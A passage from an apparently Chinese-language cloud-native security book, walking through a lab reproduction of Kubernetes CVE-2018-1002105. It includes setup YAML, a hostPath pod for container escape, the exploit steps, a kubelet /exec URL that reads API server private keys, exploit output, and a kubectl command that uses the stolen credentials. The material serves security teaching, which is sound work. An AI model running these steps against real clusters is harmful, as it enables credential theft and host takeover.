4.3.3 漏洞复现
1.环境准备
首先,我们需要一个存在CVE-2018-1002105漏洞的Kubernetes集群,笔者的测试集群版本为v1.11.1。
大家可以使用开源的metarget靶机项目在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:
./metarget cnv install cve-2018-1002105
即可部署好存在CVE-2018-1002105漏洞的Kubernetes集群。
另外,在这里我们也介绍一下安装特定版本Kubernetes集群的方法,以供感兴趣的读者了解。
假设我们需要在Ubuntu主机上安装x.y.z-ab版本的Kubernetes。
首先安装必要组件:
·参照Docker官方文档[1]安装好Docker。
·参考Kubernetes官方文档[2]进行配置和安装,注意,在执行“apt-get install -y kubelet kubeadm kubectl”命令时,需要先查看一下各组件可选版本,执行如下命令:
apt-cache madison kubelet kubeadm kubectl
在其中应该可以看到我们需要的x.y.z-ab版本的组件的具体版本号。接着,安装指定版本的组件即可,执行如下命令:
apt-get install -y kubelet=x.y.z-ab kubeadm=x.y.z-ab kubectl=x.y.z-ab
安装可能报错,提示需要安装某版本的kubernetes-cni,我们按照上述步骤先安装指定版本的kubernetes-cni,再安装上面三组件即可。安装完后,继续走完官方文档的后续步骤。
至此,必要组件安装完毕。
接着,参考官方文档[3]使用kubeadm创建集群。为了方便起见,我们最好在执行kubeadm init命令前,把所需镜像拉取到本地。在不低于v1.11版本的kubeadm环境下,我们可以使用以下命令来查看所需镜像:
kubeadm config images list
然后依次拉取即可,例如:
docker pull k8s.gcr.io/kube-apiserver-amd64:v1.11.1
最后,执行如下命令:
kubeadm init --pod-network-cidr 10.244.0.0/16 --kubernetes-version=1.11.1
按照以上步骤,我们即可安装特定版本Kubernetes。后续配置步骤继续参考官方文档或根据需要进行。
关于Kubernetes安装方法的介绍就到这里,言归正传,模拟的场景如下。
在集群中存在一个命名空间test,其中存在一个正在运行的业务Pod“test”,攻击者具有test命名空间下Pod的exec权限,但是不具备其他高级权限(如管理员或集群管理员权限)。后面凭借CVE-2018-1002105漏洞,攻击者能够将自己的权限提升为API Server的权限。
接着,我们需要布置一下攻击场景,准备以下文件:
·cve-2018-1002105_namespace.yaml,用于创建测试命名空间test:
# cve_2018_1002105_namespace.yaml apiVersion: v1 kind: Namespace metadata: name: test
·cve-2018-1002105_role.yaml,用于在命名空间test内创建角色test,该角色具有对命名空间内Pod的必要权限及exec权限:
# cve_2018_1002105_role.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: test namespace: test rules: - apiGroups: - "" resources: - pods verbs: - get - list - delete - watch - apiGroups: - "" resources: - pods/exec verbs: - create - get
·cve-2018-1002105_rolebinding.yaml,用于在命名空间test内创建角色绑定test,用于将用户test与角色test绑定(为用户test赋予角色test的权限):
# cve_2018_1002105_role_binding.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test namespace: test roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: test subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: test
·cve-2018-1002105_pod.yaml,用于在命名空间test内创建测试用的业务Pod“test”:
# cve_2018_1002105_pod.yaml apiVersion: v1 kind: Pod metadata: name: test namespace: test spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] serviceAccount: default serviceAccountName: default
·test-token.csv,用户test的认证凭证:
password,test,test,test
准备好这些文件后,首先创建相应的Kubernetes资源,执行如下命令:
kubectl apply cve_2018_1002105_namespace.yaml kubectl apply cve_2018_1002105_role.yaml kubectl apply cve_2018_1002105_role_binding.yaml kubectl apply cve_2018_1002105_pod.yaml
接着,配置用户认证,执行如下命令:
cp test-token.csv /etc/kubernetes/pki/test-role-token.csv
在API Server的配置文件/etc/kubernetes/manifests/kube-apiserver.yaml中容器的启动参数部分末尾(spec.container.commands)增加一行配置:
--token-auth-file=/etc/kubernetes/pki/test-token.csv
然后等待API Server重启即可。至此,场景搭建完毕。我们测试一下上述配置是否成功:
root@k8s:~# kubectl --token=password --server=https://192.168.19.216:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname test root@k8s:~# kubectl --token=password --server=https://192.168.19.216:6443 --insecure-skip-tls-verify get pods -n kube-system Error from server (Forbidden): pods is forbidden: User "test" cannot list pods in the namespace "kube-system"
结果显示能够对指定Pod执行命令,但是不能执行其他越权操作,符合场景预期。
2.漏洞利用
该漏洞能够实现权限提升,那么,我们希望能够利用这个漏洞,将攻击者的低权限提升为高权限,然后创建一个挂载宿主机根目录的Pod,实现容器逃逸。我们可以先给出用来进行容器逃逸的Pod的YAML声明文件:
# attacker.yaml apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumeMounts: - name: escape-host mountPath: /host-escape-door volumes: - name: escape-host hostPath: path: /
只要我们拿到了最高权限,就能够创建一个这样的Pod,实现容器逃逸。
好了,言归正传。基于前文的漏洞分析,我们实质上最终能够凭借漏洞获得的是一个具有高权限的WebSocket连接,可以通过这个连接向Kubelet API Server发送命令。那么,Kubelet能够接收哪些命令呢?从源码[4]中我们可以梳理出来一些Kubelet API Server支持的命令:
·/pods
·/run
·/exec
·/attach
·/portForward
·/containerLogs
·/runningpods/
·……
从字面意义不难猜出以上各命令的用途。其中,/exec允许对当前节点上某Pod执行任意命令,/runningpods/则能够列出当前节点上的所有活动Pod。
我们如何借助这些特权来实现容器逃逸的目标呢?
经过研究,我们发现Kubernetes API Server Pod内部挂载了宿主机节点的/etc/kubernetes/pki目录,这个目录下存储了大量敏感凭证:
root@k8s:~# kubectl describe -n kube-system pod kube-apiserver-victim-2 | tail -n 25 | head -n 5 Volumes: k8s-certs: Type: HostPath (bare host directory volume) Path: /etc/kubernetes/pki HostPathType: DirectoryOrCreate root@k8s:~# kubectl exec -it -n kube-system kube-apiserver-victim-2 /bin/ls / etc/kubernetes/pki apiserver-etcd-client.crt etcd apiserver-etcd-client.key front-proxy-ca.crt apiserver-kubelet-client.crt front-proxy-ca.key apiserver-kubelet-client.key front-proxy-client.crt apiserver.crt front-proxy-client.key apiserver.key sa.key ca.crt sa.pub ca.key test-token.csv
假如我们能够借助exec对Kubernetes API Server执行读取敏感凭证的命令,读出凭证,就能利用凭证以高权限身份与Kubernetes API Server交互并创建新的Pod了。
思路有了,接下来就是实践。本次实验的技术流程如下:
1)构造错误请求,建立经Kubernetes API Server代理到Kubelet的高权限WebSocket连接。
2)利用高权限WebSocket连接,向Kubelet发起/runningpods/请求,获得当前活动Pod列表。
3)从活动Pod列表中找到Kubernetes API Server的Pod名称。
4)利用高权限WebSocket连接,向Kubelet发起/exec请求,指定Pod为上一步中获得的Pod名称,携带“利用cat命令读取‘ca.crt’”作为参数,从返回结果中保存窃取到的文件。
5)利用高权限WebSocket连接,向Kubelet发起/exec请求,指定Pod为上一步中获得的Pod名称,携带“利用cat命令读取‘apiserver-kubelet-client.crt’”作为参数,从返回结果中保存窃取到的文件。
6)利用高权限WebSocket连接,向Kubelet发起/exec请求,指定Pod为上一步中获得的Pod名称,携带“利用cat命令读取‘apiserver-kubelet-client.key’”作为参数,从返回结果中保存窃取到的文件。
7)使用kubectl命令行工具,指定访问凭证为第4、5、6步中窃取到的文件,创建挂载了宿主机根目录的Pod,实现容器逃逸。
经过不断尝试和改进,我们实现了漏洞利用程序。由于代码过长,为节约篇幅,未在书中列出,请读者参考随书源码[5]。
现在,我们对模拟目标环境测试一下上述程序:
root@k8s:~# python ./exploit.py --target xxx.xxx.xxx.xxx --port 6443 --bearer-token password --namespace test --pod test [*] Exploiting CVE-2018-1002105... [*] Checking vulnerable or not... [+] Vulnerable to CVE-2018-1002105, continue. [*] Getting running pods list... [+] Got running pods list. [*] API Server is kube-apiserver-victim-2. [*] Creating new privileged pipe... [*] Trying to steal ca.crt... [+] Got ca.crt. [+] Secret ca.crt saved :) [*] Creating new privileged pipe... [*] Trying to steal apiserver-kubelet-client.crt... [+] Got apiserver-kubelet-client.crt. [+] Secret apiserver-kubelet-client.crt saved :) [*] Creating new privileged pipe... [*] Trying to steal apiserver-kubelet-client.key... [+] Got apiserver-kubelet-client.key. [+] Secret apiserver-kubelet-client.key saved :) [+] Enjoy your trip :)
可以看到,漏洞利用程序成功利用漏洞从Kubernetes API Server Pod中窃取了高权限凭证。
接着,我们就可以使用拿到的高权限凭证在集群中新建一个挂载了宿主机根目录的Pod(前文已给出YAML声明文件),执行如下命令:
kubectl --server=https://xxx.xxx.xxx.xxx:6443 --certificate-authority=./ca.crt --client-certificate=./apiserver-kubelet-client.crt --client-key=./apiserver- kubelet-client.key apply -f attacker.yaml
至此,我们利用CVE-2018-1002105漏洞完成了容器逃逸。
3.注意事项
在实践过程中我们发现,为了顺利复现漏洞,需要注意以下几点:
1)除了“构造错误请求”时请求的是Kubernetes API Server外,后续的命令执行全部是对Kubelet发起的请求,Kubernetes API Server仅仅替我们做代理转发,因此,后续需要直接请求Kubelet允许的API。
2)在向Kubelet发起/exec执行请求时,如果待执行的命令带有参数,我们应该将参数同样以command形式传入,如/exec/kube-system/{api_server}/kube-apiserver?command=/bin/cat&command=/etc/kubernetes/pki/apiserver-kubelet-client.key&input=1&output=1&tty=0。
3)上面的复现实验中,笔者使用了单节点Kubernetes集群,故攻击者控制的Pod一定与Kubernetes API Server位于同一节点上,这一点在多节点集群环境中可能并不成立。
[1] https://docs.docker.com/engine/install/。
[2] https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/。
[3] https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/。
[4] https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go。
[5] https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py。